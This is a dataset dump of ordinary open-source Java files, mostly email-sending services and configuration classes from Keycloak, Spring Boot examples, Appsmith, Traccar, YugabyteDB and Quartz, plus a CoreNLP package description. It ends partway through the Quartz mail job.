file_id
int64
1
46.7k
content
stringlengths
14
344k
repo
stringlengths
7
109
path
stringlengths
8
171
41,054
/* * Copyright 2024 Red Hat, Inc. and/or its affiliates * and other contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.keycloak.representations.idm; /** * Representation implementation of an organization internet domain. * * @author <a href="mailto:[email protected]">Stefan Guilhen</a> */ public class OrganizationDomainRepresentation { private String name; private boolean verified; public OrganizationDomainRepresentation() { // for reflection } public OrganizationDomainRepresentation(String name) { this.name = name; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public boolean isVerified() { return this.verified; } public void setVerified(boolean verified) { this.verified = verified; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null) return false; if (!(o instanceof OrganizationDomainRepresentation)) return false; OrganizationDomainRepresentation that = (OrganizationDomainRepresentation) o; return name != null && name.equals(that.getName()); } @Override public int hashCode() { if (name == null) { return super.hashCode(); } return name.hashCode(); } }
keycloak/keycloak
core/src/main/java/org/keycloak/representations/idm/OrganizationDomainRepresentation.java
41,055
package com.baeldung.mail.mailwithattachment; import java.io.File; import java.io.IOException; import java.net.URI; import java.util.Properties; import jakarta.mail.Authenticator; import jakarta.mail.BodyPart; import jakarta.mail.Message; import jakarta.mail.MessagingException; import jakarta.mail.Multipart; import jakarta.mail.PasswordAuthentication; import jakarta.mail.Session; import jakarta.mail.Transport; import jakarta.mail.internet.InternetAddress; import jakarta.mail.internet.MimeBodyPart; import jakarta.mail.internet.MimeMessage; import jakarta.mail.internet.MimeMultipart; public class MailWithAttachmentService { private final String username; private final String password; private final String host; private final int port; MailWithAttachmentService(String username, String password, String host, int port) { this.username = username; this.password = password; this.host = host; this.port = port; } public Session getSession() { Properties props = new Properties(); props.put("mail.smtp.auth", "true"); props.put("mail.smtp.starttls.enable", "true"); props.put("mail.smtp.host", this.host); props.put("mail.smtp.port", this.port); return Session.getInstance(props, new Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username, password); } }); } public void sendMail(Session session) throws MessagingException, IOException { Message message = new MimeMessage(session); message.setFrom(new InternetAddress("[email protected]")); message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("[email protected]")); message.setSubject("Testing Subject"); BodyPart messageBodyPart = new MimeBodyPart(); messageBodyPart.setText("This is message body"); Multipart multipart = new MimeMultipart(); multipart.addBodyPart(messageBodyPart); MimeBodyPart attachmentPart = new MimeBodyPart(); attachmentPart.attachFile(getFile("attachment.txt")); multipart.addBodyPart(attachmentPart); MimeBodyPart attachmentPart2 = new MimeBodyPart(); attachmentPart2.attachFile(getFile("attachment2.txt")); multipart.addBodyPart(attachmentPart2); message.setContent(multipart); Transport.send(message); } private File getFile(String filename) { try { URI uri = this.getClass() .getClassLoader() .getResource(filename) .toURI(); return new File(uri); } catch (Exception e) { throw new IllegalArgumentException("Unable to find file from resources: " + filename); } } }
eugenp/tutorials
core-java-modules/core-java-networking-2/src/main/java/com/baeldung/mail/mailwithattachment/MailWithAttachmentService.java
41,056
package com.neo.service.impl; import com.neo.service.MailService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Component; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import java.io.File; /** * Created by summer on 2017/5/4. */ @Component public class MailServiceImpl implements MailService{ private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Autowired private JavaMailSender mailSender; @Value("${mail.fromMail.addr}") private String from; /** * 发送文本邮件 * @param to * @param subject * @param content */ @Override public void sendSimpleMail(String to, String subject, String content) { SimpleMailMessage message = new SimpleMailMessage(); message.setFrom(from); message.setTo(to); message.setSubject(subject); message.setText(content); try { mailSender.send(message); logger.info("简单邮件已经发送。"); } catch (Exception e) { logger.error("发送简单邮件时发生异常!", e); } } /** * 发送html邮件 * @param to * @param subject * @param content */ @Override public void sendHtmlMail(String to, String subject, String content) { MimeMessage message = mailSender.createMimeMessage(); try { //true表示需要创建一个multipart message MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); mailSender.send(message); logger.info("html邮件发送成功"); } catch (MessagingException e) { logger.error("发送html邮件时发生异常!", e); } } /** * 发送带附件的邮件 * @param to * @param subject * @param content * @param filePath */ public void sendAttachmentsMail(String to, String subject, String content, String filePath){ MimeMessage message = mailSender.createMimeMessage(); try { MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); FileSystemResource file = new FileSystemResource(new File(filePath)); String fileName = filePath.substring(filePath.lastIndexOf(File.separator)); helper.addAttachment(fileName, file); //helper.addAttachment("test"+fileName, file); mailSender.send(message); logger.info("带附件的邮件已经发送。"); } catch (MessagingException e) { logger.error("发送带附件的邮件时发生异常!", e); } } /** * 发送正文中有静态资源(图片)的邮件 * @param to * @param subject * @param content * @param rscPath * @param rscId */ public void sendInlineResourceMail(String to, String subject, String content, String rscPath, String rscId){ MimeMessage message = mailSender.createMimeMessage(); try { MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); FileSystemResource res = new FileSystemResource(new File(rscPath)); helper.addInline(rscId, res); mailSender.send(message); logger.info("嵌入静态资源的邮件已经发送。"); } catch (MessagingException e) { logger.error("发送嵌入静态资源的邮件时发生异常!", e); } } }
ityouknow/spring-boot-examples
1.x/spring-boot-mail/src/main/java/com/neo/service/impl/MailServiceImpl.java
41,057
package com.neo.service.impl; import com.neo.service.MailService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Component; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import java.io.File; /** * Created by summer on 2017/5/4. */ @Component public class MailServiceImpl implements MailService{ private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Autowired private JavaMailSender mailSender; @Value("${mail.fromMail.addr}") private String from; /** * 发送文本邮件 * @param to * @param subject * @param content */ @Override public void sendSimpleMail(String to, String subject, String content) { SimpleMailMessage message = new SimpleMailMessage(); message.setFrom(from); message.setTo(to); message.setSubject(subject); message.setText(content); try { mailSender.send(message); logger.info("简单邮件已经发送。"); } catch (Exception e) { logger.error("发送简单邮件时发生异常!", e); } } /** * 发送html邮件 * @param to * @param subject * @param content */ @Override public void sendHtmlMail(String to, String subject, String content) { MimeMessage message = mailSender.createMimeMessage(); try { //true表示需要创建一个multipart message MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); mailSender.send(message); logger.info("html邮件发送成功"); } catch (MessagingException e) { logger.error("发送html邮件时发生异常!", e); } } /** * 发送带附件的邮件 * @param to * @param subject * @param content * @param filePath */ @Override public void sendAttachmentsMail(String to, String subject, String content, String filePath){ MimeMessage message = mailSender.createMimeMessage(); try { MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); FileSystemResource file = new FileSystemResource(new File(filePath)); String fileName = filePath.substring(filePath.lastIndexOf(File.separator)); helper.addAttachment(fileName, file); //helper.addAttachment("test"+fileName, file); mailSender.send(message); logger.info("带附件的邮件已经发送。"); } catch (MessagingException e) { logger.error("发送带附件的邮件时发生异常!", e); } } /** * 发送正文中有静态资源(图片)的邮件 * @param to * @param subject * @param content * @param rscPath * @param rscId */ @Override public void sendInlineResourceMail(String to, String subject, String content, String rscPath, String rscId){ MimeMessage message = mailSender.createMimeMessage(); try { MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(content, true); FileSystemResource res = new FileSystemResource(new File(rscPath)); helper.addInline(rscId, res); mailSender.send(message); logger.info("嵌入静态资源的邮件已经发送。"); } catch (MessagingException e) { logger.error("发送嵌入静态资源的邮件时发生异常!", e); } } }
ityouknow/spring-boot-examples
2.x/spring-boot-mail/src/main/java/com/neo/service/impl/MailServiceImpl.java
41,058
package com.appsmith.server.configurations; import jakarta.mail.internet.InternetAddress; import lombok.AccessLevel; import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import org.springframework.util.StringUtils; import java.io.UnsupportedEncodingException; @Getter @Setter @Configuration @Slf4j public class EmailConfig { @Value("${mail.enabled}") private boolean emailEnabled = true; @Setter(AccessLevel.NONE) private InternetAddress mailFrom; private static final String DEFAULT_MAIL_FROM = "appsmith@localhost"; @Value("${reply.to}") private String replyTo; @Value("${emails.welcome.enabled:true}") private boolean isWelcomeEmailEnabled; @Value("${mail.support}") private String supportEmailAddress; @Autowired public void setMailFrom(@Value("${mail.from}") String value) { if (!StringUtils.hasText(value)) { value = DEFAULT_MAIL_FROM; } try { mailFrom = new InternetAddress(value, "Appsmith"); } catch (UnsupportedEncodingException e) { log.error("Encoding error creating Appsmith mail from address. Using default from address instead.", e); try { mailFrom = new InternetAddress(DEFAULT_MAIL_FROM, "Appsmith"); } catch (UnsupportedEncodingException ignored) { // We shouldn't see this error here with the default address parsing. log.error("Encoding error with default from address. This should've never happened.", e); } } } }
appsmithorg/appsmith
app/server/appsmith-server/src/main/java/com/appsmith/server/configurations/EmailConfig.java
41,059
/* * Copyright 2023 Anton Tananaev ([email protected]) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.traccar.reports.common; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.traccar.api.security.PermissionsService; import org.traccar.mail.MailManager; import org.traccar.model.User; import org.traccar.storage.StorageException; import jakarta.activation.DataHandler; import jakarta.inject.Inject; import jakarta.mail.MessagingException; import jakarta.mail.internet.MimeBodyPart; import jakarta.mail.util.ByteArrayDataSource; import java.io.ByteArrayOutputStream; import java.io.IOException; public class ReportMailer { private static final Logger LOGGER = LoggerFactory.getLogger(ReportMailer.class); private final PermissionsService permissionsService; private final MailManager mailManager; @Inject public ReportMailer(PermissionsService permissionsService, MailManager mailManager) { this.permissionsService = permissionsService; this.mailManager = mailManager; } public void sendAsync(long userId, ReportExecutor executor) { new Thread(() -> { try { var stream = new ByteArrayOutputStream(); executor.execute(stream); MimeBodyPart attachment = new MimeBodyPart(); attachment.setFileName("report.xlsx"); attachment.setDataHandler(new DataHandler(new ByteArrayDataSource( stream.toByteArray(), "application/octet-stream"))); User user = permissionsService.getUser(userId); mailManager.sendMessage(user, false, "Report", "The report is in the attachment.", attachment); } catch (StorageException | IOException | MessagingException e) { LOGGER.warn("Email report failed", e); } }).start(); } }
traccar/traccar
src/main/java/org/traccar/reports/common/ReportMailer.java
41,060
/** * <p> * This package implements various subpackages for information extraction. * Some examples of use appear later in this description. * At the moment, three types of information extraction are supported * (where some of these have internal variants): * </p> * <ol> * <li>Regular expression based matching: These extractors are hand-written * and match whatever the regular expression matches.</li> * <li>Conditional Random Fields classifier: A sequence tagger based on * CRF model that can be used for NER tagging and other sequence labeling tasks.</li> * <li>Conditional Markov Model classifier: A classifier based on * CMM model that can be used for NER tagging and other labeling tasks.</li> * <li>Hidden Markov model based extractors: These can be either single * field extractors or two level HMMs where the individual * component models and how they are glued together is trained * separately. These models are trained automatically, but require tagged * training data.</li> * <li>Description extractor: This does higher level NLP analysis of * sentences (using a POS tagger and chunker) to find sentences * that describe an object. This might be a biography of a person, * or a description of an animal. This module is fixed: there is * nothing to write or train (unless one wants to start to change * its internal behavior). * </ol> * <p> * There are some demonstrations of the stuff here which you can run (and several * other classes have <code>main()</code> methods which exhibit their * functionality): * </p> * <ol> * <li><code>NERGUI</code> is a simple GUI front-end to the NER tagging * components.</li> * <li><code>crf/NERGUI</code> is a simple GUI front-end to the CRF-based NER tagging * components. This version only supports the CRF-based NER tagger.</li> * <li><code>demo/NERDemo</code> is a simple class examplifying the programmatical use * of the CRF-based NER tagger.</li> * </ol> * <h3>Usage examples</h3> * <p> * 0. <i>Setup:</i> For all of these examples except 3., you need to be * connected to the Internet, and for the application's web search module * to be * able to connect to search engines. The web search * functionality is provided by the supplied <code>edu.stanford.nlp.web</code> * package. How web search works is controlled * by a <code>websearch.init</code> file in your current directory (or if * none is present, you will get search results from AltaVista). If * you are registered to use the GoogleAPI, you should probably edit * this file so web queries can be done to Google using their SOAP * interface. Even if not, you can specify additional or different * search engines to access in <code>websearch.init</code>. * A copy of this file is supplied in the distribution. The * <code>DescExtractor</code> in 4. also requires another init file so that * it can use the include part-of-speech tagger. * <p> * 1. Corporate Contact Information. This illustrates simple information * extraction from a web page. * Using the included * <code>ExtractDemo.bat</code> or by hand run: * <code>java edu.stanford.nlp.ie.ExtractDemo</code> * </p> * <ul> * <li>Select as Extractor Directory the folder: * <code>serialized-extractors/companycontact</code></li> * <li>Select as an Ontology the one in * <code>serialized-extractors/companycontact/Corporation-Information.kaon</code> * </li> * <li>Enter <code>Corporation</code> as the Concept to extract.</li> * <li>You can then do various searches: * <ul> * <li>You can enter a URL, click <code>Extract</code>, and look at the results: * <ul> * <li><code>http://www.ziatech.com/</code></li> * <li><code>http://www.cs.stanford.edu/</code></li> * <li><code>http://www.ananova.com/business/story/sm_635565.html</code></li> * </ul> * The components will work reasonably well on clean-ish text pages like * this. They work even better on text such as newswire or press * releases, as one can demonstrate either over the web or using the * command line extractor</li> * <li>You can do a search for a term and get extraction from the top * search hits, by entering a term in the "Search for words" box and * pressing "Extract": * <ul> * <li><code>Audiovox Corporation</code> * </ul> * Extraction is done over a number of pages from a search engine, and the * results from each are shown. Typically some of these pages * will have suitable content to extract, and some just won't. * </ul> * </ul> * <p>2. Corporate Contact Information merged. This illustrates the addition * of information merger across web pages. Using the included * <code>MergeExtractDemo.bat</code> or similarly do:</p> * <center><code>java edu.stanford.nlp.ie.ExtractDemo -m</code></center> * <p> * The <code>ExtractDemo</code> screen is similar, but adds a button to * Select a Merger. * </p> * <ul> * <li>Select an Extractor Directory and Ontology as * above.</li> * <li>Click on "Select Merger" and then navigate to * <code>serialized-extractors/mergers</code> and Select the file * <code>unscoredmerger.obj</code>.</li> * <li>Enter the concept "Corporation" as before. * <li>One can now do search as above, by URL or search, but Merger is only * appropriate to a word search with multiple results. Try Search * for words: * <ul> * <li><code>Audiovox Corporation</code></li> * </ul> * and press "Extract". Results gradually appear. After all results have * been processed (this may take a few seconds), a Merged best * extracted information result will be produced and displayed as * the first of the results. "Merged Instance" will appear on the * bottom line corresponding to it, rather than a URL. * </ul> * <p>3. Company names via direct use of an HMM information extractor. * One can also train, load, and use HMM information extractors directly, * without using any of the RDF-based KAON framework * (<code>http://kaon.semanticweb.org/</code>) used by ExtractDemo. * </p> * <ul> * <li>The file <code>edu.stanford.nlp.ie.hmm.Tester</code> illustrates the use * of a pretrained HMM on data via the command line interface: * <ul> * <li><code>cd serialized-extractors/companycontact/</code></li> * <li><code>java edu.stanford.nlp.ie.hmm.Tester cisco.txt company * company-name.hmm</code></li> * <li><code>java edu.stanford.nlp.ie.hmm.Tester EarningsReports.txt * company company-name.hmm</code></li> * <li><code>java edu.stanford.nlp.ie.hmm.Tester companytest.txt * company company-name.hmm</code></li> * </ul> * <p> * The first shows the HMM running on an unmarked up file with a single * document. The second shows a <code>Corpus</code> of several * documents, separated with ENDOFDOC, used as a document delimiter * inside a Corpus. This second use of <code>Tester</code> expects to * normally have an annotated corpus on which it can score its answers. * Here, the corpus is unannotated, and so some of the output is * inappropriate, but it shows what is selected as the company name * for each document (it's <i>mostly</i> correct...). * The final example shows it running on a corpus that does have answers * marked in it. It does the testing with the XML elements stripped, but * then uses them to evaluate correctness. * </p> * </li> * <li>To train one's own HMM, one needs data where one or * more fields is annotated in the data in the style of an XML * element, with all the documents in one file, separated by * lines with <code>ENDOFDOC</code> on them. Then one can * train (and then test) as follows. Training an HMM * (optimizing all its probabilities) takes a <i>long</i> time * (it depends on the speed of the computer, but 10 minutes or * so to adjust probabilities for a fixed structure, and often * hours if one additionally attempts structure learning). * <ol> * <li><code>cd edu/stanford/nlp/ie/training/</code></li> * <li><code>java -server edu.stanford.nlp.ie.hmm.Trainer companydata.txt * company mycompany.hmm</code></li> * <li><code>java edu.stanford.nlp.ie.hmm.HMMSingleFieldExtractor Company * mycompany.hmm mycompany.obj</code></li> * <li><code>java edu.stanford.nlp.ie.hmm.Tester testdoc.txt company * mycompany.hmm</code></li> * </ol> * The third step converts a serialized HMM into the serialized objects used * in <code>ExtractDemo</code>. Note that <code>company</code> * in the second line must match the element name in the * marked-up data that you will train on, while * <code>Company</code> in the third line must match the * relation name in the ontology over which you will extract with * <code>mycompany.obj</code>. These two names need not be the * same. The last step then runs the trained HMM on a file. * </li> * </ul> * <p>4. Extraction of descriptions (such as biographical information about * a person or a description of an animal). * This does extraction of such descriptions * from a web page. This component uses a POS tagger, and looks for where * to find a path to it in the file * <code>descextractor.init</code> in the current directory. So, * you should be in the root directory of the current archive, * which has such a file. Double click on the included * <code>MergeExtractDemo.bat</code> in that directory, or by hand * one can equivalently do: * <code>java edu.stanford.nlp.ie.ExtractDemo -m</code> * </p> * <ul> * <li>Select as Extractor Directory the folder: * <code>serialized-extractors/description</code></li> * <li>Select as an Ontology the one in * <code>serialized-extractors/description/Entity-NameDescription.kaon</code> * </li> * <li>Click on "Select Merger" and then navigate to * <code>serialized-extractors/mergers</code> and Select the file * <code>unscoredmerger.obj</code>.</li> * <li>Enter <code>Entity</code> as the Concept to extract. * <li>You can then do various searches for people or animals by entering * words in the "Search for words" box and pressing Extract: * <ul> * <li><code>Gareth Evans</code></li> * <li><code>Tawny Frogmouth</code></li> * <li><code>Christopher Manning</code></li> * <li><code>Joshua Nkomo</code></li> * </ul> * The first search will be slower than subsequent searches, as it takes a * while to load the part of speech tagger. * </li> * </ul> */ package edu.stanford.nlp.ie;
stanfordnlp/CoreNLP
src/edu/stanford/nlp/ie/package-info.java
41,061
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util; import com.google.common.io.BaseEncoding; /** * @deprecated Use {@link com.google.common.io.BaseEncoding#base32()} */ @Deprecated public class Base32 { /** * @deprecated Use {@link com.google.common.io.BaseEncoding#base32()} */ @Deprecated static public String encode(final byte[] bytes) { return BaseEncoding.base32() .omitPadding() .lowerCase() .encode(bytes) .toUpperCase(); } /** * @deprecated Use {@link com.google.common.io.BaseEncoding#base32()} */ @Deprecated static public byte[] decode(final String base32) { return BaseEncoding.base32() .omitPadding() .lowerCase() .decode(base32.toLowerCase()); } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/Base32.java
41,062
// Copyright (c) YugaByte, Inc. package com.yugabyte.yw.models.helpers; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import javax.validation.constraints.NotNull; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.ToString; /** Pair of node configuration type and its value. */ @Data @AllArgsConstructor @NoArgsConstructor @ApiModel(description = "A node configuration.") public class NodeConfig { @NotNull @ApiModelProperty(required = true) public Type type; @NotNull @ApiModelProperty(value = "true") @EqualsAndHashCode.Exclude public String value; @Builder @Getter @ToString @ApiModel(description = "Validation result of a node config") public static class ValidationResult { private Type type; private boolean isValid; private boolean isRequired; private String description; private String value; } /** * Type of the configuration. The predicate can be minimum value comparison like ulimit. By * default, all the types are enabled in all modes if no specific available type is specified. */ @Getter public enum Type { NTP_SERVICE_STATUS("Running status of NTP service"), PROMETHEUS_SPACE("Disk space in MB for prometheus"), MOUNT_POINTS_WRITABLE("Mount points are writable"), USER("Existence of user"), USER_GROUP("Existence of user group"), HOME_DIR_SPACE("Disk space in MB for home directory"), HOME_DIR_EXISTS("Home directory exists"), RAM_SIZE("Total RAM size in MB"), INTERNET_CONNECTION("Internet connectivity"), CPU_CORES("Number of CPU cores"), PROMETHEUS_NO_NODE_EXPORTER("No running node exporter"), TMP_DIR_SPACE("Temp directory disk space in MB"), PAM_LIMITS_WRITABLE("PAM limits writable"), PYTHON_VERSION("Supported python version"), MOUNT_POINTS_VOLUME("Disk space in MB for mount points"), CHRONYD_RUNNING("Chronyd running"), LOCALE_PRESENT("Locale is present"), SSH_PORT("SSH port is open"), SUDO_ACCESS("Sudo access available"), OPENSSL("OpenSSL package is installed"), POLICYCOREUTILS("Policycoreutils package is installed"), RSYNC("Rsync package is installed"), XXHASH("Xxhash package is installed"), LIBATOMIC1("Libatomic1 package is installed"), LIBNCURSES6("Libncurses6 package is installed"), LIBATOMIC("Libatomic package is installed"), AZCOPY("Azcopy binary is installed"), CHRONYC("Chronyc binary is installed"), GSUTIL("Gsutil binary is installed"), S3CMD("S3cmd binary is installed"), NODE_EXPORTER_RUNNING("Node exporter is running"), NODE_EXPORTER_PORT("Node exporter is running on the correct port"), SWAPPINESS("Swappiness of memory pages"), ULIMIT_CORE("Maximum size of core files created"), ULIMIT_OPEN_FILES("Maximum number of open file descriptors"), ULIMIT_USER_PROCESSES("Maximum number of processes available to a single user"), SYSTEMD_SUDOER_ENTRY("Systemd Sudoer entry"), SSH_ACCESS("Ability to ssh into node as yugabyte user with key supplied in provider"), NODE_AGENT_ACCESS("Reachability of node agent server"), MASTER_HTTP_PORT("Master http port is open"), MASTER_RPC_PORT("Master rpc port is open"), TSERVER_HTTP_PORT("TServer http port is open"), TSERVER_RPC_PORT("TServer rpc port is open"), YB_CONTROLLER_HTTP_PORT("YbController http port is open"), YB_CONTROLLER_RPC_PORT("YbController rpc port is open"), REDIS_SERVER_HTTP_PORT("Redis server http port is open"), REDIS_SERVER_RPC_PORT("Redis server rpc port is open"), YB_HOME_DIR_CLEAN("Check if the home directory is clean"), DATA_DIR_CLEAN("Check if the directory is clean"), YCQL_SERVER_HTTP_PORT("YCQL server http port is open"), YCQL_SERVER_RPC_PORT("YCQL server rpc port is open"), YSQL_SERVER_HTTP_PORT("YSQL server http port is open"), YSQL_SERVER_RPC_PORT("YSQL server rpc port is open"), VM_MAX_MAP_COUNT("VM max memory map count"); private final String description; private Type(String description) { this.description = description; } } @Getter public enum Operation { PROVISION, CONFIGURE } }
yugabyte/yugabyte-db
managed/src/main/java/com/yugabyte/yw/models/helpers/NodeConfig.java
41,063
/* * All content copyright Terracotta, Inc., unless otherwise indicated. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy * of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * */ package org.quartz.jobs.ee.mail; import java.util.Date; import java.util.Properties; import jakarta.mail.Address; import jakarta.mail.Authenticator; import jakarta.mail.Message; import jakarta.mail.MessagingException; import jakarta.mail.PasswordAuthentication; import jakarta.mail.Session; import jakarta.mail.Transport; import jakarta.mail.internet.InternetAddress; import jakarta.mail.internet.MimeMessage; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.quartz.Job; import org.quartz.JobDataMap; import org.quartz.JobExecutionContext; import org.quartz.JobExecutionException; /** * <p> * A Job which sends an e-mail with the configured content to the configured * recipient. * * Arbitrary mail.smtp.xxx settings can be added to job data and they will be * passed along the mail session * </p> * * @author James House */ public class SendMailJob implements Job { private final Logger log = LoggerFactory.getLogger(getClass()); /* * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * Constants. * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ /** * The host name of the smtp server. REQUIRED. */ public static final String PROP_SMTP_HOST = "smtp_host"; /** * The e-mail address to send the mail to. REQUIRED. */ public static final String PROP_RECIPIENT = "recipient"; /** * The e-mail address to cc the mail to. Optional. */ public static final String PROP_CC_RECIPIENT = "cc_recipient"; /** * The e-mail address to claim the mail is from. REQUIRED. */ public static final String PROP_SENDER = "sender"; /** * The e-mail address the message should say to reply to. Optional. */ public static final String PROP_REPLY_TO = "reply_to"; /** * The subject to place on the e-mail. REQUIRED. */ public static final String PROP_SUBJECT = "subject"; /** * The e-mail message body. REQUIRED. */ public static final String PROP_MESSAGE = "message"; /** * The message content type. For example, "text/html". Optional. */ public static final String PROP_CONTENT_TYPE = "content_type"; /** * Username for authenticated session. Password must also be set if username is used. Optional. */ public static final String PROP_USERNAME = "username"; /** * Password for authenticated session. Optional. */ public static final String PROP_PASSWORD = "password"; /* * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * Interface. * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ /** * @see org.quartz.Job#execute(org.quartz.JobExecutionContext) */ public void execute(JobExecutionContext context) throws JobExecutionException { JobDataMap data = context.getMergedJobDataMap(); MailInfo mailInfo = populateMailInfo(data, createMailInfo()); getLog().info("Sending message " + mailInfo); try { MimeMessage mimeMessage = prepareMimeMessage(mailInfo); Transport.send(mimeMessage); } catch (MessagingException e) { throw new JobExecutionException("Unable to send mail: " + mailInfo, e, false); } } protected Logger getLog() { return log; } protected MimeMessage prepareMimeMessage(MailInfo mailInfo) throws MessagingException { Session session = getMailSession(mailInfo); MimeMessage mimeMessage = new MimeMessage(session); Address[] toAddresses = InternetAddress.parse(mailInfo.getTo()); mimeMessage.setRecipients(Message.RecipientType.TO, toAddresses); if (mailInfo.getCc() != null) { Address[] ccAddresses = InternetAddress.parse(mailInfo.getCc()); mimeMessage.setRecipients(Message.RecipientType.CC, ccAddresses); } mimeMessage.setFrom(new InternetAddress(mailInfo.getFrom())); if (mailInfo.getReplyTo() != null) { mimeMessage.setReplyTo(new InternetAddress[]{new InternetAddress(mailInfo.getReplyTo())}); } mimeMessage.setSubject(mailInfo.getSubject()); mimeMessage.setSentDate(new Date()); setMimeMessageContent(mimeMessage, mailInfo); return mimeMessage; } protected void setMimeMessageContent(MimeMessage mimeMessage, MailInfo mailInfo) throws MessagingException { if (mailInfo.getContentType() == null) { mimeMessage.setText(mailInfo.getMessage()); } else { mimeMessage.setContent(mailInfo.getMessage(), mailInfo.getContentType()); } } protected Session getMailSession(final MailInfo mailInfo) throws MessagingException { Properties properties = new Properties(); properties.put("mail.smtp.host", mailInfo.getSmtpHost()); // pass along extra smtp settings from users Properties extraSettings = mailInfo.getSmtpProperties(); if (extraSettings != null) { properties.putAll(extraSettings); } Authenticator authenticator = null; if (mailInfo.getUsername() != null && mailInfo.getPassword() != null) { log.info("using username '{}' and password 'xxx'", mailInfo.getUsername()); authenticator = new Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(mailInfo.getUsername(), mailInfo.getPassword()); } }; } log.debug("Sending mail with properties: {}", properties); return Session.getDefaultInstance(properties, authenticator); } protected MailInfo createMailInfo() { return new MailInfo(); } protected MailInfo populateMailInfo(JobDataMap data, MailInfo mailInfo) { // Required parameters mailInfo.setSmtpHost(getRequiredParm(data, PROP_SMTP_HOST, "PROP_SMTP_HOST")); mailInfo.setTo(getRequiredParm(data, PROP_RECIPIENT, "PROP_RECIPIENT")); mailInfo.setFrom(getRequiredParm(data, PROP_SENDER, "PROP_SENDER")); mailInfo.setSubject(getRequiredParm(data, PROP_SUBJECT, "PROP_SUBJECT")); mailInfo.setMessage(getRequiredParm(data, PROP_MESSAGE, "PROP_MESSAGE")); // Optional parameters mailInfo.setReplyTo(getOptionalParm(data, PROP_REPLY_TO)); mailInfo.setCc(getOptionalParm(data, PROP_CC_RECIPIENT)); mailInfo.setContentType(getOptionalParm(data, PROP_CONTENT_TYPE)); mailInfo.setUsername(getOptionalParm(data, PROP_USERNAME)); mailInfo.setPassword(getOptionalParm(data, PROP_PASSWORD)); // extra mail.smtp. properties from user Properties smtpProperties = new Properties(); for (String key : data.keySet()) { if (key.startsWith("mail.smtp.")) { 